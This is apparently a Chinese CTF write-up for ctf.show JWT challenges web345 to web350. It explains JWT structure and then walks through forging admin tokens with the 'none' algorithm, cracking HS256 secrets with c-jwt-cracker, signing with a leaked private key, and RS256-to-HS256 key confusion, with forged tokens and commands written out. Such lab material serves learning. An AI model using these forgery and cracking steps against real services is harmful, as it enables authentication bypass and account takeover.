JWT
web345
什么是jwt
jwt是一个开放标准,它定义的一种紧凑的 自包含的方式,用于所谓json对象在各方之间安全的传输信息.该信息可以被验证和信任,因为它是数字签名的.
使用场景
一次性验证
比如用户注册后需要发放一封邮件让其激活账户,通常邮件中只需要有一个链接,这个链接需要具备以下的特性:能够标识用户,该链接具有时效性(通常只允许几个小时内激活),不能被篡改其激活其他可能的账户..这种场景就和jwt的特性非常 的贴近,jwt的payload中固定的参数:iis签发这和exp过期时间正式为其准备的
restful api的无状态认证
使用jwt来做restful api的身份认证也是值得推崇的一种使用方案.客户端和服务器共享secret;过期时间有服务端效验,客户端定时刷新;签名信息不可被更改,spring security oauth jwt 提供了一套完整的jwt认证体系
jwt结构
jwt由三部分构成,他们之间用远点(.)连接.这三部分分别是
- Header
- Payload
- Signature
具体示例如下
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ |
Header
jwt的头部由两部分信息组成
- type:声明类型,这里是jwt
- alg:声明加密的算法 通常直接使用HMAC SHA256
完整的头部信息如下
{ |
对头部信息进行base64编码得到第一部分信息
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 |
Payload
载荷就是存放有效信息的地方,它包含声明要求.声明有三种类型
- registered claims:标准中注册的声明,这里有一组预定义的声明,他们不是强制的,但是推荐
- public claims:公共的声明
- private claims:私有的声明
标准中注册的声明
- iss: jwt签发者
- sub: jwt所面向的用户
- aud: 接收jwt的一方
- exp: jwt的过期时间,这个过期时间必须要大于签发时间
- nbf: 定义在什么时间之前,该jwt都是不可用的
- iat: jwt的签发时间
- jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击
公共的声明:
公共的声明可以添加任何信息,一般添加用户的相关信息或者其他业务需要的必要信息,但是不建议添加敏感信息,因为该部分可以在客户端解密
私有的声明:
私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息
对payload进行base64加密得到了jwt的第二部分内容
signature
jwt的第三部分是一个签证信息,这个签证信息由三部分组成:
- header(base64)
- payload(base64)
- secret
第三部分需要base64加密后的header和base64加密后的payload使用.连接组成的字符串,然后通过header中声明的加密凡是进行加盐secret组合加密,然后就构成了jwt的第三部分
注意
secret是保存在服务器端的,jwt的签发生成也是在服务器端的,secret就是用来进行jwt的签发和jwt的验证.所以它就是你服务端的私钥,在任何场景都不应该泄露出去.一旦客户端得知增secret,那么就意味着客户端可以自我签发jwt了
https://www.jianshu.com/p/4a124a10fcaf
题目
这里提示访问admin文件夹
要注意使用 url 访问网页时
/admin 表示访问 admin.php 文件
/admin/ 表示访问 admin/目录下的文件,默认是 index.php
很像文件夹,所以此处应该访问 /admin/
cookie看着像jwt
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0A.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NDg0NTY0OTksImV4cCI6MTY0ODQ2MzY5OSwibmJmIjoxNjQ4NDU2NDIyMjI5OSwic3ViIjoiYWRtaW4ifV0 |
alg加密算法为none
sub为user改为admin重新登录下试试
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0. |
[{"iss":"admin","iat":1648459436,"exp":1648466636,"nbf":1648459436,"sub":"admin","jti":"8b158096b6e36731237170f44d95d21f"}] |
合起来,很奇怪这里执行不成功
前面删了才能执行成功,感觉是不是环境的问题
web346
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0ODcxNTE4MywiZXhwIjoxNjQ4NzIyMzgzLCJuYmYiOjE2NDg3MTUxODMsInN1YiI6InVzZXIiLCJqdGkiOiJkM2Y3YjhiOTA3YWE1M2UyZTA3MTlmOWY0MTQ3ZmFiYSJ9.Zyy2DOiFSao6aLvThffBR4ZYCShY9wLwN2rjelgn-3o |
第一段
{"alg":"HS256","typ":"JWT"} |
sh256加密
第二段
{"iss":"admin","iat":1648715183,"exp":1648722383,"nbf":1648715183,"sub":"user","jti":"d3f7b8b907aa53e2e0719f9f4147faba"} |
前面算法保证了jwt在传输的过程中不被恶意用户修改,但是header中的alg字段可被修改为none,一些jwt库支持none算法,即使没有签名算法,当alg为none时后端不会进行签名校验,将alg修改为none之后,去掉jwt中的signature数据,只剩header.payload.(这里的.不是句号哦).然后提交到服务端即可
修改
{"alg":"None","typ":"JWT"} |
{"iss":"admin","iat":1648715183,"exp":1648722383,"nbf":1648715183,"sub":"admin","jti":"d3f7b8b907aa53e2e0719f9f4147faba"} |
eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0ODcxNTE4MywiZXhwIjoxNjQ4NzIyMzgzLCJuYmYiOjE2NDg3MTUxODMsInN1YiI6ImFkbWluIiwianRpIjoiZDNmN2I4YjkwN2FhNTNlMmUwNzE5ZjlmNDE0N2ZhYmEifQ. |
记得访问/admin/页面哦
web347
c-jwt-cracker
先安docker
docker build . -t jwtcrack |
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTA4MTgyOSwiZXhwIjoxNjQ5MDg5MDI5LCJuYmYiOjE2NDkwODE4MjksInN1YiI6InVzZXIiLCJqdGkiOiJkNWM2Yjg5MTBjYjMzZmZkZTVkN2NlNzRiM2E1ZTllNiJ9.4SRvUVI8lQ_yfMrKsSVcjnQvFEojGt0LvXu4gkX4amY 1234567890 |
这里定义密钥为数字快一点
改一下拿去访问/admin/就好
web348
docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY0OTA4MzM5OSwiZXhwIjoxNjQ5MDkwNTk5LCJuYmYiOjE2NDkwODMzOTksInN1YiI6InVzZXIiLCJqdGkiOiIwOTJlMTBhMzJlOTY2ZDY2NGM4MWMzM2QyMjlhMzY4ZSJ9.lLsYI7NGjbb4xdzmyR1YkPSgcksnBiNm4eWmVqQ2Q2U asdfghjklpoiuytrewqzxcvbnm0987654321 |
web349
给了一个aap.js |
是rs256加密,有公钥和私钥,从app.py文件中可以看到从public/private.key读取了私钥
https://f86be22f-fd82-48a7-a764-23d8f76ecd98.challenge.ctf.show//private.key |
试一下在这个目录下下载了私钥
接着有两种方法,一是得到私钥和公钥解密加密.二是用私钥自己生成公钥
jwt.io网站解不了,用python了
# python3 |
这次是用post访问原始目录
自己安装node.js并安装jsonwebtoken库
npm install jsonwebtoken --save |
运行node.js
node |
传入下面的值,要在private.key目录运行node哦
const jwt = require('jsonwebtoken'); |
web350
给了源码包,只有一个公钥
同样的加密
将 RS256 算法改为 HS256(非对称密码算法=>对称密码算法)
HS256算法使用密钥为所有消息进行签名和验证 |
记得替换一下原先目录下的公钥文件哦
破解HS256(对称加密算法)密钥 |